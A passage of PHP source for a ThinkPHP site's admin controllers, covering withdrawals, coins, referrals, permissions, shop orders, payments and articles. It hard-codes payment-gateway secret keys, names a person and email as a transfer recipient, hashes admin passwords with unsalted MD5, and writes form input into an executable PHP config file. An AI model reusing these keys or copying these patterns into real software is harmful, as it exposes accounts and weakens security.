$data['img']=\_imgurl().$data['img'];

}else{

$data['img']='/public/style/index/img/userimg.gif';

}

if($name){

return $data[$name];

}else{

return $data;

}

}

function ueditor($name=''){

if(!$name){$name='content';}

$html='<link href="/public/style/admin/plugins/ueditor/themes/default/\_css/umeditor.css" type="text/css" rel="stylesheet">';

$html.='<script type="text/javascript" charset="utf-8" src="/public/style/admin/plugins/ueditor/umeditor.config.js"></script>';

$html.='<script type="text/javascript" charset="utf-8" src="/public/style/admin/plugins/ueditor/editor\_api.js"></script>';

$html.='<script type="text/javascript" src="/public/style/admin/plugins/ueditor/lang/zh-cn/zh-cn.js"></script>';

$html.='<script type="text/javascript">';

$html.="var ue=UM.getEditor('".$name."');";

$html.='</script>';

return $html;

}

function \_session(){

if(!Session::has('user','ffxiangUser')){

return false;

}

return true;

}

function \_token(){

return Session::has('user','ffxiangUser') ? Session::get('user','ffxiangUser') : '';

}

function \_isMobileApp()

{

if (isset ($\_SERVER['HTTP\_X\_WAP\_PROFILE']))

{

return true;

}

if (isset ($\_SERVER['HTTP\_VIA']))

{

return stristr($\_SERVER['HTTP\_VIA'], "wap") ? true : false;

}

if (isset ($\_SERVER['HTTP\_USER\_AGENT']))

{

$clientkeywords = array ('nokia',

'sony',

'ericsson',

'mot',

'samsung',

'htc',

'sgh',

'lg',

'sharp',

'sie-',

'philips',

'panasonic',

'alcatel',

'lenovo',

'iphone',

'ipod',

'blackberry',

'meizu',

'android',

'netfront',

'symbian',

'ucweb',

'windowsce',

'palm',

'operamini',

'operamobi',

'openwave',

'nexusone',

'cldc',

'midp',

'wap',

'mobile'

);

if (preg\_match("/(" . implode('|', $clientkeywords) . ")/i", strtolower($\_SERVER['HTTP\_USER\_AGENT'])))

{

return true;

}

}

if (isset ($\_SERVER['HTTP\_ACCEPT']))

{

if ((strpos($\_SERVER['HTTP\_ACCEPT'], 'vnd.wap.wml') !== false) && (strpos($\_SERVER['HTTP\_ACCEPT'], 'text/html') === false || (strpos($\_SERVER['HTTP\_ACCEPT'], 'vnd.wap.wml') < strpos($\_SERVER['HTTP\_ACCEPT'], 'text/html'))))

{

return true;

}

}

return false;

}<?php

return [

'view\_replace\_str' => [

'\_\_PUBLIC\_\_' => '/public/',

'\_\_STYLE\_\_' => '/public/style/index/',

'\_\_CSS\_\_' => '/public/style/index/css/',

'\_\_JS\_\_' => '/public/style/index/js/',

'\_\_IMG\_\_' => '/public/style/index/img/',

'\_\_P\_\_' => '/public/style/index/plugins/',

'\_\_IMAGES\_\_' => '/public/uploads/',

'\_\_IMGERROE\_\_' => '/public/style/index/img/images.jpg',

'\_\_T\_C\_\_' => '/public/style/toutiao/css/',

'\_\_T\_I\_\_' => '/public/style/toutiao/image/',

'\_\_T\_J\_\_' => '/public/style/toutiao/js/',

'\_\_MP\_J\_\_' => '/public/style/mp/js/',

'\_\_MP\_I\_\_' => '/public/style/mp/image/',

'\_\_MP\_C\_\_' => '/public/style/mp/css/',

],

'app\_trace' => false,

'default\_controller' => 'Article',

'template' => [

'type' => 'Think',

'view\_path' => 'www\_suxiangw\_com/toutiao/',

'view\_suffix' => 'html',

'view\_depr' => DS,

'tpl\_begin' => '{',

'tpl\_end' => '}',

'taglib\_begin' => '{',

'taglib\_end' => '}',

'taglib\_pre\_load' => 'app\common\taglib\Fx',

],

];

<?php

namespace app\admin\controller;

use app\admin\controller\Common;

use think\Db;

class Tixian extends Common

{

public function index(){

$get=input();

$where=[];

if(!empty($get['uid'])){

$where['uid']=$get['uid'];

}

$data=Db::name('member\_tixian')->where($where)->order('time desc')->paginate('',false,['query'=>request()->param()]);

$this->assign('data',$data);

$page = $data->render();

$this->assign('page', $page);

return $this->fetch();

}

public function edit(){

$id = input('id/d');

$data = Db::name('member\_tixian')->where(['id'=>$id])->setField('data',0);

if($data){

$user = Db::name('member\_tixian')->find($id);

$money = $user['money'];

$content='提现失败，退回'.$user['money'].'元';

\_moneyDb([

'uid' => $user['uid'],

'money' =>[

'money' => $money\*100,

'content' => $content,

]

]);

return json(['ret'=>'成功']);

}

return json(['err'=>'失败']);

}

public function dk(){

\Pingpp\Pingpp::setApiKey('sk\_test\_zz94WHfTufHKi9ejb1azj140');

\Pingpp\Pingpp::setPrivateKeyPath('./public/pingxx/your\_rsa\_private\_key.pem');

$tr = \Pingpp\Transfer::create(

array(

'order\_no' => '123456789',

'app' => array('id' => 'app\_f1aHePKCu9mTafT4'),

'channel' => 'alipay',

'amount' => 1,

'currency' => 'cny',

'type' => 'b2c',

'recipient' => 'mohuanshji85@163.com',

'description' => '测试打款'

)

);

dump($tr);

return;

$id = input('id/d');

try {

$appid = 'de11b391-f625-4dba-b4ce-db31e8414168';

$appsecret = 'e595cedd-b31b-4057-bb9a-4c587fbedcec';

$mastersecret = 'b6441d1a-ec0b-4d56-84fa-6b27b03dfbc7';

$testsecret = '69dfb715-e7d6-49df-a8de-3ed78230f7e6';

\beecloud\rest\api::registerApp($appid, $appsecret, $mastersecret, $testsecret);

$data = array(

'timestamp' => time() \* 1000,

'channel' => 'ALI',

'title' => '支付宝企业打款',

'transfer\_no' => "a\_" . time(),

'batch\_no' => 'w\_'.time(),

'total\_fee' => 1,

'channel\_user\_id' => 'mohuanshji85@163.com',

'channel\_user\_name' => '许飞翔',

'account\_name' => '定州得宝网络科技有限公司',

'transfer\_data'=>[],

);

$result = \beecloud\rest\api::transfers($data);

dump($result);exit();

if ($result->result\_code != 0) {

exit();

}

if(isset($result->url)){

header("Location:$result->url");

}

} catch (Exception $e) {

echo $e->getMessage();

}

return;

return json(['ret'=>'成功']);

}

}

<?php

namespace app\admin\controller;

use app\admin\controller\Common;

use think\Db;

class Coin extends Common

{

public function updateBasicDataLocally()

{

if(request()->isAjax()){

$dir = dirname(dirname(dirname(dirname(\_\_FILE\_\_))));

$file\_path = $dir . '/' . 'config/coin\_basicdata/currency\_list\_merge.json';

$json\_string = file\_get\_contents($file\_path);

$currencies = json\_decode($json\_string, true);

foreach($currencies as $currency)

{

$coin=Db::name('coin')->where('currency', $currency['currency'])->find();

if($coin){

$db\_ret=Db::name('coin')->where('currency',$currency['currency'])->update($currency);

}else{

$db\_ret=Db::name('coin')->insert($currency);

}

}

$data = ['ret'=>'更新完成'];

return $data;

}else{

return $this->fetch();

}

}

public function index(){

$map=[];

$search\_name=input('param.name');

if($search\_name){

$map['currency'] = ['like','%'.$search\_name.'%'];

}else{

$map='';

}

$data=Db::name('coin')->order('id desc')->where($map)->paginate('',false,['query'=>request()->param()]);

$page=$data->render();

$this->assign('data',$data);

$this->assign('page', $page);

return $this->fetch();

}

public function add(){

$id=input("id");

if(request()->isAjax()){

$post=input('post.');

$validate=validate('Coin');

if(!$validate->check($post))

return ["err"=>$validate->getError()];

$time=time();

if(!$id){

$titledb=Db::name('coin')->where('title',$post['title'])->find();

if($titledb){

return ['err'=>'分组标题已存在'];

}

$db=Db::name('coin')->insert($post);

if($db){

$data=['ret'=>'添加成功'];

}else{

$data=['err'=>'添加失败'];

}

}else{

$db=Db::name('coin')->where('id',$id)->update($post);

if($db){

$data=['ret'=>'修改成功'];

}else{

$data=['err'=>'修改失败'];

}

}

}else{

if($id){

$name=Db::name('coin')->where('id',$id)->find();

if($name){

$this->assign('name',$name);

}else{

$data=['err'=>'id参数错误'];

}

}

$data=$this->fetch();

}

return $data;

}

}

<?php

namespace app\admin\controller;

use app\admin\controller\Common;

use think\Db;

class Yaoqing extends Common

{

public function config(){

$config=config()['yaoqing'];

$config['money\_news\_time']=$config['money\_news\_time']/1000;

$this->assign('cfg',$config);

if(request()->isAjax()){

$post=input('post.');

if($post){

$data=$post;

if($data){

$data['money\_news\_time']=$data['money\_news\_time']\*1000;

$data=var\_export($data, true);

$data=str\_replace("array", "return", $data);

$data=str\_replace("(", "[", $data);

$data=str\_replace(")", "];", $data);

$data="<?php\r\n".$data;

file\_put\_contents(APP\_PATH.'extra/yaoqing.php', print\_r($data, true));

$data=['ret'=>'保存成功'];

}else{

$data=['err'=>'保存失败'];

}

}else{

$data=['err'=>'提交参数错误'];

}

}else{

$data=$this->fetch();

}

return $data;

}

public function records(){

$get=input();

$where=[];

if(!empty($get['uid'])){

$where['uid']=$get['uid'];

}

$data=Db::name('yaoqing\_records')->order('time desc')->where($where)->paginate('',false,['query'=>request()->param()]);

$page = $data->render();

$this->assign('data',$data);

$this->assign('page', $page);

return $this->fetch();

}

public function so(){

$get=input();

$where=[];

if(!empty($get['uid'])){

$where['s1']=$get['uid'];

}else{

$where['tudi\_num']=['<>',0];

}

$data=Db::name('yaoqing')->where($where)->order('tudi\_num desc')->paginate('',false,['query'=>request()->param()]);

$page = $data->render();

$this->assign('data',$data);

$this->assign('page', $page);

return $this->fetch();

}

public function renwu(){

$data=Db::name('renwu')->order('desc desc,id,asc')->select();

$this->assign('data',$data);

return $this->fetch();

}

}

<?php

namespace app\admin\controller;

use app\admin\controller\Common;

use think\Db;

class Category extends Common

{

public function index(){

$category=Db::name('category')->order('des desc,id asc')->select();

$category=get\_tree\_option($category,0);

$this->assign('data',$category);

return $this->fetch();

}

public function add(){

if(request()->isAjax()){

if(input('id')){

$data=input('post.');

if($data){

$info=Db::name('category')->where('id',input('id'))->update($data);

if($info){

$data=json(array("ret"=>"修改成功",'url'=>url('index')));

}else{

$data=json(array("err"=>"修改失败"));

}

}else{

$data=json(array("err"=>$validate->getError()));

}

}else{

$validate = validate('Category');

$data=input('post.');

if($validate->check($data)){

$info=Db::name('category')->insert($data);

if($info){

$data=json(array("ret"=>"添加成功",'url'=>url('add')));

}else{

$data=json(array("err"=>"添加失败"));

}

}else{

$data=json(array("err"=>$validate->getError()));

}

}

}else{

$category=Db::name('category')->field('id,tid,title')->order('des desc,id asc')->select();

$category=get\_tree\_option($category,0);

$this->assign('category',$category);

if(input('id')){

$name=Db::name('category')->where('id',input('id'))->find();

$categoryID=$name['tid'];

$this->assign('name',$name);

}

$data=$this->fetch();

}

return $data;

}

public function del(){

if(request()->isAjax()){

$id=input('post.id/d');

if(!$id){return json(array("err"=>"参数错误1")); exit();}

$category=DB::name('category')->where('tid',$id)->field('id')->select();

if($category){

$data=array("err"=>"请先删除下级菜单");

}else{

$del=Db::name('category')->delete($id);

if($del){

$data=array("ret"=>'删除成功');

}else{

$data=array("err"=>'删除失败');

}

}

}else{

$data=array("err"=>"参数错误2");

}

return json($data);

}

public function hide(){

$id=input('id');

$type=input('hide');

if($id){

if($type==1){

$type='hideleft';

}else{

$type='hideright';

}

$db=DB::name('category')->where('id',$id)->field($type)->find();

if($db[$type]==1){

$hide=0;

}else{

$hide=1;

}

$db=DB::name('category')->where('id',$id)->setField($type,$hide);

if($db){

$this->redirect("category/index");

}else{

$this->error('设置失败');

}

}

}

}

<?php

namespace app\admin\controller;

use think\Controller;

use think\Session;

class Common extends Controller

{

public function \_initialize(){

if(!Session::has('admin','ffxiangAdmin')){

$this->redirect("Login/index");

}else{

$adminId=Session::get('admin','ffxiangAdmin');

$adminId=db('admin')->where(['id'=>$adminId['id'],'name'=>$adminId['name'],'type'=>$adminId['type'],'hide'=>$adminId['hide'],'password'=>$adminId['password']])->cache(\_cache('db'))->find();

if(!$adminId){

session(null, 'ffxiangAdmin');

$this->redirect("Login/index");

}else{

if($adminId['id']!=1 && $adminId['type']!=1){

$controller=strtolower(request()->controller());

$action=strtolower(request()->action());

$if=0;

if($controller=='index' && $action=='index'){

$if=1;

}

if($controller=='index' && $action=='out'){

$if=1;

}

if($controller=='index' && $action=='main'){

$if=1;

}

if($if==0){

$adminTypeData=db('admin\_type')->where('id',$adminId['type'])->cache(\_cache('db'))->value('data');

$adminCategoryId=db('category')->where(['controller'=>$controller,'function'=>$action])->value('id');

$permissionSucceeded=0;

if($adminCategoryId && $adminTypeData){

$a=json\_decode($adminTypeData,true);

foreach ($a as $v) {

if($adminCategoryId==$v){

$permissionSucceeded=1;

break;

}

}

}else{

echo "菜单ID或adminType字段参数不存在";exit();

}

if($permissionSucceeded==0){

echo "无权访问";exit();

}

}

}

}

}

}

}

<?php

namespace app\admin\controller;

use app\admin\controller\Common;

use think\Db;

class Admin extends Common

{

public function index(){

$data=Db::name('admin')->alias('a')->join('admin\_type b','a.type=b.id')->field('a.id,a.name,b.title,a.create\_time,a.create\_ip,a.update\_time,a.update\_ip,a.hide')->paginate();

$this->assign('data',$data);

return $this->fetch();

}

public function add(){

$id=input("id");

$admin\_type=Db::name('admin\_type')->field('id,title')->select();

$this->assign('admintype',$admin\_type);

if(request()->isAjax()){

$post=input('post.');;

$validate=validate('Admin');

$array=['type'=>$post['type'],'hide'=>$post['hide']];

if(!$post['name']){

return ['err'=>'请输入账户'];

}

if($validate->check($post)){

if($post['password']!=$post['password2']){

return ['err'=>'密码和确认密码不一致'];

}

$time=time();

$ip=\_ip();

if($id){

if(!$post['password']){

$password=Db::name('admin')->where('id',$id)->value('password');

}else{

$password=md5($post['password']);

}

}else{

$password=md5($post['password']);

}

$dbdata=['name'=>$post['name'],'password'=>$password,'update\_time'=>$time,'update\_ip'=>$ip];

$dbdata = array\_merge($array, $dbdata);

if(!$id){

$namebd=Db::name('admin')->where('name',$post['name'])->find();

if($namebd){

return ['err'=>'账户已存在'];

}

if(!$post['password']){

return ['err'=>'密码不可为空'];

}

$dbdatas=['create\_time'=>$time,'create\_ip'=>$ip];

$dbdata = array\_merge($dbdatas, $dbdata);

$db=Db::name('admin')->insert($dbdata);

if($db){

$data=['ret'=>'添加成功'];

}else{

$data=['err'=>'添加失败'];

}

}else{

if($id==1){

$dbdata=['name'=>$post['name'],'password'=>$password];

}

$db=Db::name('admin')->where('id',$id)->update($dbdata);

if($db){

$data=['ret'=>'修改成功'];

}else{

$data=['err'=>'修改失败'];

}

}

}else{

$data=["err"=>$validate->getError()];

}

}else{

if($id){

$name=Db::name('admin')->where('id',$id)->find();

if($name){

$this->assign('name',$name);

}else{

$data=['err'=>'id参数错误'];

}

}

$data=$this->fetch();

}

return $data;

}

public function del(){

if(request()->isAjax()){

$id=input('id');

if($id==1){

$data=['err'=>'账户禁止删除'];

}else{

if(input('?id')){

$db=Db::name('admin')->delete($id);

if($db){

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'删除失败'.$db];

}

}else{

$data=['err'=>'id参数错误'];

}

}

}else{

$data=['err'=>'提交参数错误'];

}

return $data;

}

public function type(){

$data=Db::name('admin\_type')->select();

$this->assign('data',$data);

return $this->fetch();

}

public function typeAdd(){

$id=input("id");

$t=Db::name('category')->where('tid',0)->order('des desc,id asc')->select();

$html='';

foreach ($t as $k=>$v) {

$html.='<h5>'.$v['title'].'</h5>';

$t2=Db::name('category')->where('tid',$v['id'])->order('des desc,id asc')->select();

if($t2){

foreach ($t2 as $v2) {

$html.='<div class="form-group">';

$html.='<label class="col-sm-2 control-label">'.$v2['title'].'：</label>';

$html.='<div class="col-sm-10">';

$html.='<div class="radio i-checks">';

if($v2['controller'] && $v2['function']){

$checked='';

if($id){

$checkeddb=Db::name('admin\_type')->where('id',$id)->value('data');

if($checkeddb){

foreach(json\_decode($checkeddb) as $cv){

if($cv==$v2['id']){

$checked='checked';

break;

}

}

}else{

return ['err'=>'id参数对应权限数据不存在'];

}

}

$html.='<label class="col-md-3"><input type="checkbox" '.$checked.' value="'.$v2['id'].'" name="data[]">'.$v2['title'].'</label>';

$t3=Db::name('category')->where('tid',$v2['id'])->order('des desc,id asc')->select();

if($t3){

foreach($t3 as $v3){

$checked='';

if($id){

$checkeddb=Db::name('admin\_type')->where('id',$id)->value('data');

if($checkeddb){

foreach(json\_decode($checkeddb) as $cv){

if($cv==$v3['id']){

$checked='checked';

break;

}

}

}else{

return ['err'=>'id参数对应权限数据不存在'];

}

}

$html.='<label class="col-md-3"><input type="checkbox" '.$checked.' value="'.$v3['id'].'" name="data[]">'.$v3['title'].'</label>';

$t4=Db::name('category')->where('tid',$v3['id'])->order('des desc,id asc')->select();

if($t4){

foreach($t4 as $v4){

$checked='';

if($id){

$checkeddb=Db::name('admin\_type')->where('id',$id)->value('data');

if($checkeddb){

foreach(json\_decode($checkeddb) as $cv){

if($cv==$v4['id']){

$checked='checked';

break;

}

}

}else{

return ['err'=>'id参数对应权限数据不存在'];

}

}

$html.='<label class="col-md-3"><input type="checkbox" '.$checked.' value="'.$v4['id'].'" name="data[]">'.$v4['title'].'</label>';

}

}

}

}

}else{

$t3=Db::name('category')->where('tid',$v2['id'])->order('des desc,id asc')->select();

if($t3){

foreach($t3 as $v3){

$checked='';

if($id){

$checkeddb=Db::name('admin\_type')->where('id',$id)->value('data');

if($checkeddb){

foreach(json\_decode($checkeddb) as $cv){

if($cv==$v3['id']){

$checked='checked';

break;

}

}

}else{

return ['err'=>'id参数对应权限数据不存在'];

}

}

$html.='<label class="col-md-3"><input type="checkbox" '.$checked.' value="'.$v3['id'].'" name="data[]">'.$v3['title'].'</label>';

$t4=Db::name('category')->where('tid',$v3['id'])->order('des desc,id asc')->select();

if($t4){

foreach($t4 as $v4){

$checked='';

if($id){

$checkeddb=Db::name('admin\_type')->where('id',$id)->value('data');

if($checkeddb){

foreach(json\_decode($checkeddb) as $cv){

if($cv==$v4['id']){

$checked='checked';

break;

}

}

}else{

return ['err'=>'id参数对应权限数据不存在'];

}

}

$html.='<label class="col-md-3"><input type="checkbox" '.$checked.' value="'.$v4['id'].'" name="data[]">'.$v4['title'].'</label>';

}

}

}

}

}

$html.='</div></div></div>';

}

}

}

$this->assign('category',$html);

if(request()->isAjax()){

$post=input('post.');;

$title=$post['title'];

if(!input('?post.data')){

$dataname=false;

}else{

$dataname=$post['data'];

}

if($title){

if($dataname){

$array=['title'=>$title,'data'=>json\_encode($dataname)];

if(!$id){

$titledb=Db::name('admin\_type')->where('title',$title)->find();

if($titledb){

$data=['err'=>'名称已存在'];

}else{

$db=Db::name('admin\_type')->insert($array);

if($db){

$data=['ret'=>'添加成功'];

}else{

$data=['err'=>'添加失败'];

}

}

}else{

if($id==1){

$array=['title'=>$title];

$db=Db::name('admin\_type')->where('id',$id)->update($array);

}else{

$db=Db::name('admin\_type')->where('id',$id)->update($array);

}

if($db){

$data=['ret'=>'修改成功'];

}else{

$data=['err'=>'修改失败'];

}

}

}else{

$data=['err'=>'最少选一个权限'];

}

}else{

$data=['err'=>'类型名称不可为空'];

}

}else{

if($id){

$name=Db::name('admin\_type')->where('id',$id)->find();

if($name){

$this->assign('name',$name);

}else{

$data=['err'=>'id参数错误'];

}

}

$data=$this->fetch();

}

return $data;

}

public function typeDel(){

if(request()->isAjax()){

$id=input('id');

if($id==1){

$data=['err'=>'超级管理员禁止删除'];

}else{

if(input('?id')){

$admin=Db::name('admin')->where('type',$id)->find();

if(!$admin){

$db=Db::name('admin\_type')->delete($id);

if($db){

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'删除失败'];

}

}else{

$data=['err'=>'请先删除管理员列表对应类型账户'];

}

}else{

$data=['err'=>'id参数错误'];

}

}

}else{

$data=['err'=>'提交参数错误'];

}

return $data;

}

}

<?php

namespace app\admin\controller;

use app\admin\controller\Common;

use think\Db;

class Shop extends Common

{

public function lists(){

$type=input('type');

$name=input('name');

$where=[];

if($type){

if($type=='id'){

$where[$type]=$name;

}else{

$where[$type]=['like','%'.$name.'%'];

}

}

$typeid=input('typeid');

if($typeid){

$where['typeid']=$typeid;

}

$data=Db::name('shoplist')->where($where)->order('des desc,id desc')->paginate('',false,['query'=>request()->param()]);

$page = $data->render();

$this->assign('data',$data);

$this->assign('page', $page);

return $this->fetch('list');

}

public function add(){

$mychannel['id']=2;

$this->assign('mychannel',$mychannel);

$typeiddb=Db::name('shoplist\_typeid')->order('des desc,id asc')->select();

$this->assign('typeid',$typeiddb);

$id=input("id/d");

if(request()->isAjax()){

$post=input('post.');

$time=time();

if(!$post['typeid']){

return ['err'=>'请选择分类栏目'];

}

$post['time']=$time;

if(empty($post['text'])){

return ['err'=>'请填写详细内容'];

}

$post['text']=html\_entity\_decode($post['text']);

$post['money']=$post['money']\*100;

if($post['images']){

$images=[];

foreach(json\_decode($post['images'],true) as $v){

$images[]=$v['img'];

}

$post['images']=json\_encode($images);

}

if(!$id){

$titledb=Db::name('shoplist')->where('title',$post['title'])->find();

if($titledb){

return ['err'=>'标题已存在'];

}

$db=Db::name('shoplist')->insertGetId($post);

if($db){

$data=['ret'=>'添加成功'];

}else{

$data=['err'=>'添加失败'];

}

}else{

$db=Db::name('shoplist')->where('id',$id)->update($post);

if($db){

$data=['ret'=>'修改成功'];

}else{

$data=['err'=>'修改失败'];

}

}

}else{

if($id){

$name=Db::name('shoplist')->where('id',$id)->find();

$name['weitoutiao']=1;

$this->assign('name', $name);

}

$data=$this->fetch();

}

return $data;

}

public function del(){

if(request()->isAjax()){

$id=input('id');

if($id){

$db=Db::name('shoplist')->delete($id);

if($db){

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'删除失败'];

}

}else{

$data=['err'=>'id参数错误'];

}

}else{

$data=['err'=>'提交参数错误'];

}

return $data;

}

public function typeid(){

$data=Db::name('shoplist\_typeid')->order('des desc,id asc')->select();

$this->assign('data',$data);

return $this->fetch();

}

public function typeidadd(){

$id=input("id/d");

if(request()->isAjax()){

$post=input('post.');

if(!$id){

$typename=Db::name('typeid')->where(['title'=>$post['title']])->find();

if($typename){

return ['err'=>'栏目标题已存在'];

}

$db=Db::name('shoplist\_typeid')->insert($post);

if($db){

$data=['ret'=>'添加成功'];

}else{

$data=['err'=>'添加失败'];

}

}else{

$db=Db::name('shoplist\_typeid')->where('id',$id)->update($post);

if($db){

$data=['ret'=>'修改成功'];

}else{

$data=['err'=>'修改失败'];

}

}

}else{

if($id){

$name=Db::name('shoplist\_typeid')->where(['id'=>$id])->find();

if($name){

$this->assign('name',$name);

}else{

$data=['err'=>'id参数错误'];

}

}

$data=$this->fetch();

}

return $data;

}

public function typeiddel(){

if(request()->isAjax()){

$id=input('id');

if($id){

$db=Db::name('shoplist\_typeid')->delete($id);

if($db){

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'删除失败'];

}

}else{

$data=['err'=>'id参数错误'];

}

}else{

$data=['err'=>'提交参数错误'];

}

return $data;

}

public function dingdan(){

$type=input('type');

$name=input('name');

$where=[];

if($type){

if($type=='title'){

$where['b'.$type]=['like','%'.$name.'%'];

}else{

$where['a'.$type]=$name;

}

}

$join=[

['\_\_SHOPLIST\_\_ b','a.shopid = b.id'],

];

$data=Db::name('shoplist\_records')->alias('a')->join($join)->field('a.id,a.shopid,a.data,a.uid,a.code,a.time,a.money,a.kuaidi,a.danhao,a.data,a.type,a.num,b.title,b.image')->order('a.time desc')->paginate('',false,['query'=>request()->param()]);

$page = $data->render();

$this->assign('data',$data);

$this->assign('page', $page);

return $this->fetch();

}

public function dingdancode(){

$id=input('id/d');

$name=Db::name('shoplist\_records')->find($id);

$shop=Db::name('shoplist')->find($name['shopid']);

$member=\_user($name['uid']);

$this->assign('name', $name);

$this->assign('shop', $shop);

$this->assign('member', $member);

return $this->fetch();

}

public function dingdanadd(){

$id=input('id/d');

$post=input('post.');

if($id){

Db::name('shoplist\_records')->update(['id'=>$id,'data'=>$post['data'],'kuaidi'=>$post['kuaidi'],'danhao'=>$post['danhao']]);

echo json\_encode(['操作成功']);

}

}

}

<?php

namespace app\admin\controller;

use app\admin\controller\Common;

use think\Db;

use think\Validate;

class Pay extends Common

{

public function index(){

$data=Db::name('pay')->order('des desc,id asc')->where("type!=''")->fetchSql(false)->select();

$this->assign('data',$data);

return $this->fetch();

}

public function add(){

$id=input('id/d');

$name=Db::name('pay')->where('id',$id)->find();

$this->assign('name',$name);

if(request()->isAjax()){

$validate = new Validate([

'id' => 'require|number',

'title' => 'require',

'hide' => 'in:0,1|number',

'des' => 'number',

]);

$validata=input('post.');

if (!$validate->check($validata)) {

return ['err'=>$validate->getError()];

}

Db::name('pay')->update($validata);

return ['ret'=>'修改成功'];

}else{

return $this->fetch();

}

}

public function hide(){

if(request()->isAjax()){

$id=input('id') ? input('id'): '0';

$type=input('type') ? input('type') : '0';

$text=['0'=>'<font color="#f00">关闭</font>','1'=>'<font color="#1ab394">开启</font>'];

if($id){

Db::name('pay')->where('id',$id)->setField('hide',$type);

$data=[$text[$type]];

}else{

$data=['GET值错误'];

}

}else{

$data=['提交错误'];

}

return $data;

}

public function record(){

$data=Db::name('pay\_record')->order('id desc')->paginate(50);

$this->assign('data',$data);

$page = $data->render();

$this->assign('page', $page);

return $this->fetch();

}

}

<?php

namespace app\admin\controller;

use app\admin\controller\Common;

use think\Db;

class Slide extends Common

{

public function index(){

$data=Db::name('slide\_type')->order('des desc,id asc')->select();

$this->assign('data',$data);

return $this->fetch();

}

public function typeAdd(){

$id=input("id");

if(request()->isAjax()){

$post=input('post.');

$time=time();

$post['update\_time']=$time;

if(!$id){

$titledb=Db::name('slide\_type')->where('title',$post['title'])->find();

if($titledb){

return ['err'=>'分组标题已存在'];

}

$post['create\_time']=$time;

$db=Db::name('slide\_type')->insert($post);

if($db){

$data=['ret'=>'添加成功'];

}else{

$data=['err'=>'添加失败'];

}

}else{

$db=Db::name('slide\_type')->where('id',$id)->update($post);

if($db){

$data=['ret'=>'修改成功'];

}else{

$data=['err'=>'修改失败'];

}

}

}else{

if($id){

$name=Db::name('slide\_type')->where('id',$id)->find();

if($name){

$this->assign('name',$name);

}else{

$data=['err'=>'id参数错误'];

}

}

$data=$this->fetch();

}

return $data;

}

public function typeDel(){

if(request()->isAjax()){

$id=input('id');

if($id){

$admin=Db::name('slide')->where('tid',$id)->find();

if(!$admin){

$db=Db::name('slide\_type')->delete($id);

if($db){

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'删除失败'];

}

}else{

$data=['err'=>'分组有轮播图，请先删除轮播图对应分组'];

}

}else{

$data=['err'=>'id参数错误'];

}

}else{

$data=['err'=>'提交参数错误'];

}

return $data;

}

public function lists(){

$tid=input('tid');

$data=Db::name('slide')->where('tid',$tid)->order('des desc,id desc')->select();

$this->assign('data',$data);

return $this->fetch('list');

}

public function hide(){

$id=input('id');

if(request()->isAjax()){

if($id){

$arra=['0'=>'隐藏','1'=>'显示'];

$type='hide';

$db=Db::name('slide')->where('id',$id)->value('hide');

if($db==1){

$hide=0;

}else{

$hide=1;

}

$db=Db::name('slide')->where('id',$id)->setField($type,$hide);

if($db){

$data=['ret'=>$arra[$hide].'成功','id'=>$hide,'text'=>$arra[$hide]];

}else{

$data=['err'=>$arra[$hide].'失败'];

}

}else{

$data=['err'=>'ID参数错误'];

}

}else{

$data=['err'=>'AJAX参数错误'];

}

return $data;

}

public function add(){

$id=input("id");

$this->assign('tid',input("tid"));

$slide\_type=Db::name('slide\_type')->select();

$this->assign('slide\_type',$slide\_type);

if(request()->isAjax()){

$post=input('post.');;

$time=time();

$post['update\_time']=$time;

if(!$id){

$post['create\_time']=$time;

$db=Db::name('slide')->insert($post);

if($db){

$data=['ret'=>'添加成功'];

}else{

$data=['err'=>'添加失败'];

}

}else{

$db=Db::name('slide')->where('id',$id)->update($post);

if($db){

$data=['ret'=>'修改成功'];

}else{

$data=['err'=>'修改失败'];

}

}

}else{

if($id){

$name=Db::name('slide')->where('id',$id)->find();

if($name){

$this->assign('name',$name);

}else{

$data=['err'=>'id参数错误'];

}

}

$data=$this->fetch();

}

return $data;

}

public function del(){

if(request()->isAjax()){

$id=input('id');

if($id){

$db=db('slide')->delete($id);

if($db){

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'删除失败'];

}

}else{

$data=['err'=>'id参数错误'];

}

}else{

$data=['err'=>'提交参数错误'];

}

return $data;

}

}

<?php

namespace app\admin\controller;

use app\admin\controller\Common;

use think\Db;

class Link extends Common

{

public function index(){

$data=Db::name('link')->order('des desc,id desc')->select();

$this->assign('data',$data);

return $this->fetch();

}

public function add(){

$id=input("id");

if(request()->isAjax()){

$post=input('post.');;

if(!$id){

$db=Db::name('link')->insert($post);

if($db){

$data=['ret'=>'添加成功'];

}else{

$data=['err'=>'添加失败'];

}

}else{

$db=Db::name('link')->where('id',$id)->update($post);

if($db){

$data=['ret'=>'修改成功'];

}else{

$data=['err'=>'修改失败'];

}

}

}else{

if($id){

$name=Db::name('link')->where('id',$id)->find();

if($name){

$this->assign('name',$name);

}else{

$data=['err'=>'id参数错误'];

}

}

$data=$this->fetch();

}

return $data;

}

public function del(){

if(request()->isAjax()){

$id=input('id');

if($id){

$db=db('article')->delete($id);

if($db){

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'删除失败'];

}

}else{

$data=['err'=>'id参数错误'];

}

}else{

$data=['err'=>'提交参数错误'];

}

return $data;

}

}

<?php

namespace app\admin\controller;

use app\admin\controller\Common;

use think\Db;

use think\Session;

use Qiniu\Auth;

use Qiniu\Storage\BucketManager;

use Qiniu\Storage\UploadManager;

class Article extends Common

{

public function index(){

$mychannel=input('mychannel');

if($mychannel){

$map['mychannel']=$mychannel;

}

$this->assign('mychannel',$mychannel);

$typeiddb=Db::name('typeid')->order('des desc,id asc')->cache(\_cache('db'))->select();

$this->assign('typeid',get\_tree\_option($typeiddb,0));

$search\_name=input('param.search\_name');

$search\_typeid=input('param.search\_typeid');

$typeid=input('param.typeid');

$flags=input('param.flags');

$weitoutiao=input('param.weitoutiao');

if($search\_name){

$map['title|tags|description']=['like','%'.$search\_name.'%'];

}

if($search\_typeid && $typeid){

$map['typeid'] = $search\_typeid;

}else{

if($search\_typeid){

$map['typeid'] = $search\_typeid;

}

if($typeid){

$map['typeid'] = $typeid;

}

}

if($flags){

$map['flags']=$flags;

}

if($weitoutiao){

$map['weitoutiao']=['in','1,2'];

}

$map['hide']=['in','0,1'];

$data=Db::name('article')->order('des desc,id desc')->where($map)->paginate('',false,['query'=>request()->param()]);

$page = $data->render();

$this->assign('data',$data);

